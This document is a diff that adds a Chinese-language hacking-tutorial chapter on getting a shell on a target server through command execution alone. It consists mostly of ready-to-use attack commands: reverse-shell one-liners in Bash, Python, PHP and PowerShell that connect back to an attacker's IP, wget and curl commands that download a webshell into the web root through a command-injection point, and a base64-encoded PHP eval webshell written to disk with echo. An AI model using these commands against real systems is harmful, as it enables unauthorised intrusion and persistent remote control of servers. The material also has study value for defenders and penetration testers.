Add files via upload

Chapter15/15-8.md

@@ -0,0 +1,90 @@
+### 对于不能直接上传而只能通过命令行执行的 Shell 怎么办
+
+**1. 反弹 Shell**
+
+这是最常用、最有效的方法。它的原理是让目标服务器主动连接到你的攻击机，而不是让你去连接它。这能绕过目标服务器的防火墙和出站连接限制，同时给你一个完整的交互式 shell
+
+**基本步骤：**
+
+1. **在你的攻击机上设置监听**： 你需要一个网络监听器来等待来自目标服务器的连接。常用的工具有 `netcat` (nc) 或 `socat`
+
+   ```bash
+   # 使用 netcat 监听 4444 端口
+   nc -lvnp 4444 
+   ```
+
+   `l` 表示监听，`v` 表示显示详细信息，`n` 表示不进行DNS解析，`p` 表示指定端口
+
+2. **在目标服务器上执行反弹 shell 命令**： 根据目标服务器的操作系统和已有的工具，执行不同的命令
+
+   - **Bash**：
+
+     ```bash
+     bash -i >& /dev/tcp/你的IP/4444 0>&1
+     ```
+
+   - **Python**：
+
+     ```python
+     python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<你的IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+     ```
+
+   - **PHP**：
+
+     ```php
+     php -r '$sock=fsockopen("<你的IP>",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
+     ```
+
+3. **获取交互式 shell**： 当目标服务器执行该命令后，它会连接到你的监听端口。你的 `netcat` 窗口会显示连接成功的消息，并且你将获得一个可执行命令的 shell
+
+**2. 通过 Web 请求传输文件**
+
+如果目标服务器允许出站请求，并且你可以控制这些请求（比如通过 `curl` 或 `wget`），那么你可以让目标服务器从你的攻击机上下载文件
+
+1. **在你的攻击机上创建一个简单的 HTTP 服务器**： 将你的 shell 文件（如一个 PHP Webshell）放在一个目录下，并用 Python 启动一个简单的 Web 服务器
+
+   ```sh
+   # 在你的 shell 文件所在目录下执行
+   python3 -m http.server 80
+   ```
+
+2. **在目标服务器上执行下载命令**： 利用命令注入点，让目标服务器下载文件
+
+   ```sh
+   # 使用 wget
+   wget http://你的IP/shell.php -O /var/www/html/shell.php
+   
+   # 或者使用 curl
+   curl http://你的IP/shell.php > /var/www/html/shell.php
+   ```
+
+   **注意**：你需要知道一个可写的、Web 服务器可以访问的目录（如 `/var/www/html/` 或 `/tmp/`）。如果 `/tmp` 目录可以写入，你可以先下载到 `/tmp`，再想办法移动到 Web 目录
+
+**3. 利用内置工具**
+
+有些服务器环境自带一些可以创建 shell 的工具
+
+- **VBScript / PowerShell (Windows)**： Windows 系统的 PowerShell 拥有强大的网络功能。你可以使用 PowerShell 来实现反弹 shell
+
+  ```powershell
+  powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<你的IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();"
+  ```
+
+  由于命令很长，你可以将其编码为 Base64 来避免空格和特殊字符的问题
+
+**4. 利用 `echo` 或其他写入命令**
+
+如果目标服务器的出站连接被严格限制，你不能使用反弹 shell 或下载文件，但可以执行命令行。你可以通过 `echo` 命令，一行一行地将 shell 代码写入到一个文件中
+
+**基本步骤：**
+
+1. **将你的 shell 代码进行编码**： 为了避免引号和特殊字符问题，你可以将代码进行 Base64 编码。
+
+2. **使用 `echo` 和 Base64 解码命令**：
+
+   ```bash
+   # 假设你的 shell 代码经过 Base64 编码后为 "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4="
+   echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > /var/www/html/shell.php
+   ```
+
+   如果服务器不支持 `base64 -d`，你可能需要用其他方法，比如分多行写入，或者利用 `python -c 'print ...'` 来写入文件